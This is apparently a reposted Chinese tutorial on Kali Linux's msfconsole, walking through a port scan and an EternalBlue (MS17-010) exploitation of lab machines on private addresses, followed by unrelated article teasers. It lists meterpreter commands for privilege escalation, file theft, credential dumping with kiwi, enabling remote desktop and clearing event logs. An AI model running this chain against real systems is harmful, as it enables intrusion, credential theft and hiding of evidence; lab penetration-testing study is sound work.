kali——msfconsole的使用

目录

前言

msfconsole的使用基础

启动mfsconsole

各种辅助模块的使用

端口扫描模块(portscan)

查看端口扫描的模块

使用模块

查看所需设置

手动设置

执行

退出

各种漏洞模块的使用

nmap扫描主机漏洞

查看漏洞模块

使用漏洞模块

查看所需设置

执行(开始攻击)


前言

msfconsole,全称Metasploit Framework console,是一个开源的渗透测试框架,主要用于网络安全评估和漏洞利用。它包含了各种漏洞利用模块、木马生成工具以及多种渗透文件。该工具不仅能够进行端口扫描、服务检测,还能利用已知漏洞攻击靶机,甚至生成各种渗透文件和木马

这里靶机任然是centos服务机,ip地址为192.168.100.130。


msfconsole的使用基础

启动mfsconsole

msfconsole

msfconsole每次启动时,都会出现不同的有趣的图案。


各种辅助模块的使用

这里的模块很多,比如辅助模块,漏洞模块,攻击载荷……

search 模块————查看模块

use 编号————使用具体的模块

show options————查看所需设置

set 设置名 内容————手动设置

run / exploit————执行

back / exit————退出

端口扫描模块(portscan)

这里演示的是辅助模块 “端口扫描” 的使用

查看端口扫描的模块
search portscan

结果中共有8个供选择的端口扫描模块


使用模块
use 编号
或
use 模块具体名称

比如这里使用1模块:

use 1或者use auxiliary/scanner/natpmp/natpmp_portscan


查看所需设置
show options

结果中yes表示需要手动设置,也可以默认使用对应左边的设置;no表示不需要设置。

这里结果显示 1 模块需要设置lifetime,ports,protocol,rhosts,rport,threads

由于rhosts默认设置为空,所以我们必须手动设置rhosts,其他几项使用默认设置。


手动设置
set 设置名 内容

set rhosts 192.168.100.130

及设置目标IP为192.168.100.130


执行
run
或者
exploit

结果没有显示该端口OPEN,即该端口为关闭状态。


退出

退出到msf6——back

完全退出——exit


各种漏洞模块的使用

如果已知主机有某个漏洞,就可以直接使用该漏洞模块,基本用法和辅助模块基本一致。

这里我们使用windows7 做靶机,kali机做攻击机。

nmap扫描主机漏洞

nmap -script=vuln 主机IP

nmap -script=vuln 192.168.100.132

扫描结果显示目标主机可能有ms17-010漏洞,即永恒之蓝漏洞。


查看漏洞模块

search ms17-010

可以使用的模块有5个,24模块auxiliary/scanner/smb/smb_ms17_010可以用来进一步判断目标主机是否有ms17-010漏洞;0模块exploit/windows/smb/ms17_010_eternalblue用于漏洞攻击。


使用漏洞模块

这里就直接使用0模块exploit/windows/smb/ms17_010_eternalblue来利用漏洞攻击主机,就不适用24模块进一步验证了。

use 0或者use exploit/windows/smb/ms17_010_eternalblue


查看所需设置

show options

结果显示需要手动设置RHOSTS,其他几项可以不用设置或使用默认设置。


手动设置

set rhosts 目标地址

set rhosts 192.168.100.132


执行(开始攻击)

run 或者 exploit

如果攻击成功,就会进入目标机的cmd管理界面meterpreter>,然后可以进行下列操作:

getsystem查看权限

screenshot捕获主机当前屏幕截屏

upload file.txt c://    将file.txt文件上传到目标机c://

download d://1.txt        下载目标机d://1.txt文件

idletime    检查目标系统空闲时间

load kiwi加载猕猴桃插件,输入creds kerveros 抓取目标主机用户和密码

run post/windows/manage/enable_rdp    启用目标主机远程桌面连接,然后输入rdesktop ip地址:远程连接目标主机桌面,结合抓取到的用户密码登录

clearev清除日志记录


输入shell进入终端命令行meterpreter>shell

chcp 65001解决终端乱码问题

dir查看所有目录
net user查看用户
exit退出命令行



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/53301.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Prometheus通过node_exporter监控Node节点,Node节点的详细指标解读

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,…

吴恩达深度学习笔记:卷积神经网络(Foundations of Convolutional Neural Networks)1.9-1.10

目录 第四门课 卷积神经网络(Convolutional Neural Networks)第一周 卷积神经网络(Foundations of Convolutional Neural Networks)1.9 池化层(Pooling layers)1.10 卷 积 神 经 网 络 示 例 ( …

Linux_kernel汇编驱动06

一、ARM汇编语言(GUN-gcc编译器下) 1、语句格式 {symbol} {instruction|directive|pseudo-instruction} { comment} symbol:为符号。 在ARM汇编语言中,符号必须从一行的行头开始,并且符号中不能包含空格。 在指令和伪指…

基于C++实现(MFC界面)家谱管理系统

一、题目:家谱管理系统 二、内容: 2.1 概述 2.1.1 选题原因 做此题的原因是因为可以比较方便的记录家族历代成员的情况与关系,能很好的保存家族每一代的信息,而不用人工纸质的方式来存取家谱,更便于人们保存和使用…

爬虫练习(js逆向解密)

目标 网站地址交易列表 - 福建省公共资源交易电子公共服务平台 (fj.gov.cn) 抓取内容如下: 分析 查找js代码 点击下一页翻页的时候,查看请求返回的数据,发现data数据是经过加密后得到的 通过全局搜索data,发现有两千多个结果,一个…

AI超强语音转文本SenseVoice,本地化部署教程!

文章目录 模型介绍SenseVoice在线预览链接本地化部署VsCode 远程连接 模型介绍 SenseVoice专注于高精度多语言语音识别、情感辨识和音频事件检测 多语言识别: 采用超过40万小时数据训练,支持超过50种语言,识别效果上优于Whisper模型。富文本…

跨境电商代购系统中前台基本功能介绍:帮助更快的了解跨境代购业务

前台多语言:可支持语言有中文(繁体)中文(简体)英文等。多语言使用百度翻译引擎接口实现,翻译效果与百度一致;网站语言分为两大块:1.系统后台有语言包可以编辑修改网站标题以及发布文…

WPS中JS宏使用说明(持续优化...)

前言 好久没发文章了,今天闲来无事发篇文章找找之前的码字感觉。 正文 最近在写教案,发现之前的技术又可以派上用场了。就是JS,全称JavaScript,这个语言太强大了,我发现WPS里的宏现在默认就是JS。功能选项如下图&…

MySQL数据库安装(详细)—>Mariadb的安装(day21)

该网盘链接有效期为7天,有需要评论区扣我: 通过网盘分享的文件:mariadb-10.3.7-winx64.msi 链接: https://pan.baidu.com/s/1-r_w3NuP8amhIEedmTkWsQ?pwd2ua7 提取码: 2ua7 1 双击打开安装软件 本次安装的是mariaDB,双击打开mar…

Java运行环境的下载、安装、配置与运行

一、实验目的及要求 目的:掌握如何下载java JDK软件包,如何设置Java程序的运行环境,如何编写与运行Java程序,了解Java概貌。 要求: 1、安装Java JDK软件包; 2、练习编写简单的Java Application程序并掌握…

vscode安装使用plantuml插件

使用 VSCode 插件 如果你在 Visual Studio Code 中使用 PlantUML 插件,你可以按照以下步骤生成图片: 安装 PlantUML 插件: 在 VSCode 的扩展市场中搜索并安装 PlantUML 插件。 配置插件: 打开设置,确保插件配置正确。…

Node.js发票查验接口示例、识别查验接口参数返回

财务、审计等经常与发票打交道的人员常常会遇到虚假发票、错票、重复报销等一系列问题。对于会计审计、代理记账、电子商务等发票查验量多的企业来说,成千上万张发票如果仅依赖于人工来进行核验,速度慢效率低,准确率也没保障,因此…

MySQL record

更改密码: alter user rootlocalhost identified with mysql_native_password by ‘123456’; 注意: 在命令行方式下,每条MySQL的命令都是以分号结尾的,如果不加分号,MySQL会继续等待用户输入命令,直到MyS…

kube-prometheus部署

一、自定义配置(二选一,不建议用这个) grafana-service.yml apiVersion: v1 kind: Service metadata:name: grafananamespace: kube-monitoringlabels:app: grafanacomponent: core spec:type: NodePortports:- port: 3000nodePort: 30011selector:app: grafanaco…

uniapp 懒加载、预加载、缓存机制深度解析

uniapp 懒加载、预加载、缓存机制深度解析 文章目录 uniapp 懒加载、预加载、缓存机制深度解析一、为什么要使用uniapp的懒加载、预加载和缓存机制二、如何使用uniapp的懒加载、预加载和缓存机制1. 懒加载2. 预加载3. 缓存机制 四、扩展与高级技巧1. 结合懒加载和预加载优化页面…

链表.......

从右到左 更新尾部 typedef typedef struct ListNode { int value; struct ListNode *next;(这里不能用listnode*应为还没有定义) } ListNode; #include <stdio.h> #include <stdlib.h> // 定义链表节点结构体 struct ListNode { int value; s…

开发台球助教小程序前景分析

开发台球助教小程序的前景分析可从以下维度展开探讨&#xff1a; 市场需求的增长 台球作为一项受欢迎的休闲运动&#xff0c;其爱好者群体正在扩大。随着大众对这项运动兴趣的增加&#xff0c;寻求系统化培训的需求也愈发明显。台球助教小程序正好填补了这一市场空白&#xf…

【Hadoop|HDFS篇】HDFS的Shell操作

1. 基本语法 hadoop fs 具体命令或者hadoop dfs 具体命令。 两个是完全相同的。 2. 命令大全 hadoop fs&#xff1a; Usage: hadoop fs [generic options][-appendToFile <localsrc> ... <dst>][-cat [-ignoreCrc] <src> ...][-checksum <src> ..…

DrissionPage设置启动浏览器为edge

1.查看浏览器启动路径 在浏览器地址栏输入下面地址&#xff0c;拿到可执行文件的路径 。 edge://version/ 2.替换路径 打开DrissionPage._configs. chromium_options.py文件&#xff0c;找到def browser_path(self)这个函数&#xff0c;将返回内容替换为edge的启动路径&#x…

【网络安全】服务基础第一阶段——第十节:Windows系统管理基础---- 组策略高级应用

目录 一、组策略的基本概念 1.1 组策略的基本概念 1.1.1 组策略对象 1.2 配置 1.2.1 计算机配置&#xff08;Computer Configuration&#xff09; 1.2.2 用户配置&#xff08;User Configuration&#xff09; 1.3 作用范围 1.4 继承和优先级 1.4.1 继承&#xff08;In…